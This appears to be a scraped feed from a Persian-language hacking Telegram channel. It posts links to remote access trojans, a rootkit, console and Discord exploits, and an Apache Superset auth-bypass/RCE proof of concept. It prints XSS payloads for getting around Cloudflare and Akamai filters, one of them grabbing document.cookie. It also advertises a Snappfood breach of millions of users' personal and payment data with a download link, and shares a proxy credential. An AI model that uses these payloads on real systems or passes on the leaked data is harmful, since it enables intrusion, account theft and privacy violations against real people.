Jailbreak for all arm64 iOS 16.0 to iOS 16.5 devices

Github

#IOS
——————
0Day.Today
@LearnExploit
@Tech_Army

TelegramRAT - Cross Platform Telegram based RAT that communicates via telegram

Github

#rat #windows #linux
——————
0Day.Today
@LearnExploit
@Tech_Army

WebKit Exploit for PS4 6.x-9.6 / PS5 1.x-5.x

Github

#Exploit #PS4 #PS5
——————
0Day.Today
@LearnExploit
@Tech_Army

Creating a Rootkit to Learn C

Github

#rootkit
——————
0Day.Today
@LearnExploit
@Tech_Army

TelegramRat - Python RAT for Windows that uses Telegram

Github

#rat #windows
——————
0Day.Today
@LearnExploit
@Tech_Army

vless://7c87e6f5-5f67-4cff-a478-276e43a54b83@s.thisisforu.sbs:43978?type=tcp&security=none#GR_SV5_MCI_MTN-Learn_Exploit

——————
0Day.Today
@LearnExploit
@Tech_Army

Cloudflare XSS Bypass Payload ⚡️

<dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x>

#XSS #Bypass
——————
0Day.Today
@LearnExploit
@Tech_Army

Discord vc exploit to crash vcs

Github

#discord #exploit
——————
0Day.Today
@LearnExploit
@Tech_Army

Akamai GHost Bypass

<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>

#XSS #Bypass
——————
0Day.Today
@LearnExploit
@Tech_Army

Payload XSS on login page:

');\\</script><script>alert(document.cookie)</script>('%00tst@tst.com.br

#XSS #Payload
——————
0Day.Today
@LearnExploit
@Tech_Army

Blue Team Tools - A collection of scripts, tools. and configs for various OS'es and applications

Github

#pentesting #Blue_Team
——————
0Day.Today
@LearnExploit
@Tech_Army

اسنپ‌فود هک شد!

به طور خلاصه موارد زیر در اختیار فروشنده قرار داره :

- اطلاعات بیش از ۲۰ میلیون کاربر شامل: نام کاربری، پسورد، ایمیل، نام و نام خانوادگی، شماره موبایل، تاریخ تولد و ...
- اطلاعات بیش از ۵۱ میلیون آدرس کاربر شامل: موقعیت GPS، آدرس کامل، شماره تلفن و ...
- اطلاعات بیش از ۱۸۰ میلیون دستگاه همراه شامل: نوع و مدل دستگاه، پلتفرم، توکن، فروشگاه نصب برنامه و ...
- اطلاعات بیش از ۳۶۰ میلیون سفارش شامل: آی‌پی سفارش دهنده، آدرس دریافتی، تلفن دریافتی، شهر، مدت زمان دریافت، نام و نام خانوادگی، مشخصات فروشگاه یا رستوران، قیمت، محصول و ...
- اطلاعات بیش از ۳۵ هزار پیک شامل: نام، نام خانوادگی، شماره تماس، کد ملی، شهر و ...
- اطلاعات بیش از ۶۰۰ هزار پرداخت سفارش شامل: نام کامل صاحب کارت، نام کامل مشتری، شماره تماس، شماره کارت، نام بانک و ...
- اطلاعات بیش از ۱۶۰ میلیون سفر انجام شده توسط پیک شامل: نام کامل مبدا و مقصد، آدرس مبدا و مقصد، تلفن مبدا و مقصد، موقعیت جغرافیایی مبدا و مقصد، تاریخ و ...
- اطلاعات بیش از ۲۴۰ هزار Vendor شامل: نام کامل، آدرس، تلفن، ایمیل، موقعیت مکانی GPS، نام مدیریت مجموعه و ...
- اطلاعات بیش از ۸۸۰ میلیون سفارش محصول

سمپل:
https://mega.nz/file/0OdnDI7Q#tqpjOn6Xrg8tJhgkNh0W1szRZWe4adlHjrVPgf6UhPM

#leak #news #snappfood
——————
0Day.Today
@LearnExploit
@Tech_Army

CVE-2023-27524 - Apache Superset Auth Bypass and RCE

Github

#CVE #Exploit #POC
——————‌
0Day.Today
@LearnExploit
@Tech_Army

سایته تارگت سینگل یا دابل کوتیشن رو وقتی دارید تسته xss میگیرید بلاک میکنه ؟ از پیلود زیر استفاده کنید ⚡️

</script><svg/onload=alert(0)>

#Xss #Payload
——————‌
0Day.Today
@LearnExploit
@Tech_Army

🤣🤣

#meme #fun
——————
0Day.Today
@LearnExploit
@Tech_Army

♨️ چالش SQLi تمام شد.

❗️❔چند مورد از Query های زیر دارای آسیب پذیری SQLi نمی باشند.

💬گزینه هارو همراه با ذکر علت بفرمایید.

🔶برای 3 نفر که پاسخ صحیح رو داده باشند یک اکانت unlimit vpn یک ماهه داده میشه.

توی کامنتا عدد مد نظر + علت رو بفرمایید. برا مثال
گزینه ی ۱و۲ به دلیل ...


1- cursor.execute("SELECT id FROM users WHERE username = '" + username + "'");

2- cursor.execute("SELECT id FROM users WHERE username = '%s'" % username);


3- cursor.execute("SELECT id FROM users WHERE username = '{}'".format(username));


4- cursor.execute(f"SELECT id FROM users WHERE username = '{username}'");


5- cursor.execute("SELECT id FROM users WHERE username = '%s'", (username, ));


6- cursor.execute("SELECT id FROM users WHERE username = %(username)s", {'username': username});